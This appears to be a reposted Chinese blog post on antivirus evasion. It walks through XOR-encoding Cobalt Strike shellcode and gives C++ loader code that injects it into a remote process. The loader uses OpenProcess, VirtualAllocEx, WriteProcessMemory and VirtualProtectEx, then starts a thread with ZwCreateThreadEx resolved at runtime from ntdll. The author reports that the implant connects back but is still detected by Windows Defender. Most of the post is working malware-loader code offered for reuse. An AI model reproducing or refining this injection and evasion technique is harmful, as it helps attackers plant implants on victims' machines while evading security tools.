免殺初探


免殺大家應該都不陌生,今天初探一下

免殺思路

通過cs生成shellcode,不過現在各大廠商對於出名的shellcode:如cs,msf這些基本上達到了見光就死的程度,我這里簡單的加密一下,然后通過API加載到一個進程中,並且執行,我首先希望的是有一個靜態免殺效果。

環境准備

vs2019  win10  整個過程在無任何殺軟環境中進行

加密函數

這里是我隨便找了個數將shellcode進行異或

int main()
{
    /* length: 798 bytes */
    int dwSize = sizeof(buf);
    char* newBuf = (char*)malloc(dwSize);
    memset(newBuf, 0, dwSize);
    Sleep(10000);
    for (int i = 0; i < dwSize; i++)
    {
        newBuf[i] = buf[i] ^ 0x12;
        printf("\\x%1x", (unsigned char)newBuf[i]);
    }
    
}

加載器

加載前先解密

int shellcode_size = sizeof(buf);
for (int i = 0; i < shellcode_size; i++)
    {
        newBuf[i] = buf[i] ^ 0x12;
    }

獲取進程句柄

HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, false, 17864);

在目標進程空間申請空間

這里用的是VirtualAllocEx,因為這個API很敏感,我們先控制屬性位可讀可寫,后面再更改屬性位可執行

LPVOID Memory = VirtualAllocEx(hHandle, NULL, sizeof(newBuf)+1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

寫入shellcode到進程空間

DWORD dwSize = 0;    
WriteProcessMemory(hHandle,Memory, newBuf, shellcode_size, &dwSize);

更改屬性

使用VirtualProtectEx更改屬性位可執行

VirtualProtectEx(hHandle,Memory, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

動態加載創建線程函數

ZwCreateThreadEx這個函數我已經在之前一篇博客介紹過https://www.cnblogs.com/punished/p/14668260.html,更換一些常見的API總是要好一下

 1 HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
 2     if (hNtdll == NULL)
 3     {
 4         printf("[!] LoadNTdll Error,Error is:%d\n", GetLastError());
 5         return FALSE;
 6     }
 7     else
 8     {
 9         printf("[*] Load ntdll.dll Successfully!\n");
10     }
11 #ifdef _WIN64
12     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
13         PHANDLE ThreadHandle,
14         ACCESS_MASK DesiredAccess,
15         LPVOID ObjectAttributes,
16         HANDLE ProcessHandle,
17         LPTHREAD_START_ROUTINE lpStartAddress,
18         LPVOID lpParameter,
19         ULONG CreateThreadFlags,
20         SIZE_T ZeroBits,
21         SIZE_T StackSize,
22         SIZE_T MaximumStackSize,
23         LPVOID pUnkown
24         );
25 #else
26     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
27         PHANDLE ThreadHandle,
28         ACCESS_MASK DesiredAccess,
29         LPVOID ObjectAttributes,
30         HANDLE ProcessHandle,
31         LPTHREAD_START_ROUTINE lpStartAddress,
32         LPVOID lpParameter,
33         BOOL CreateSuspended,
34         DWORD dwStackSize,
35         DWORD dw1,
36         DWORD dw2,
37         LPVOID pUnkown
38         );
39 #endif 
40     typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
41     ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");

創建線程

創建線程等待執行

HANDLE hRemoteThread;
DWORD ZwRet = 0;
ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hHandle,
    (LPTHREAD_START_ROUTINE)Memory, NULL, 0, 0, 0, 0, NULL);
WaitForSingleObject(hRemoteThread, INFINITE);

ShellCode生成

先進入cs,選擇攻擊,生成后門,語言型后門

 

 選好監聽器,點擊生成,保存到你想要的路徑就可以了

 

開始加載

先把我們生成的shellcode加密

 

 然后將加密后的shellcode放到我們的加載器中,這里隨便找個進程

我們運行加載器試試

 

 成功上線了,說明我們的代碼沒有問題,看看免殺效果

 

 

 

 可能感覺還不錯,但是非常的遺憾,這個exe連windows defender都過不了,甚至無法靜態免殺!不過應該是我的加密算法太弱。

后續我會寫關於如何繞過一些殺軟的文章,也許會寫一些腳本,大家可以關注我的GitHub https://github.com/SD-XD


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM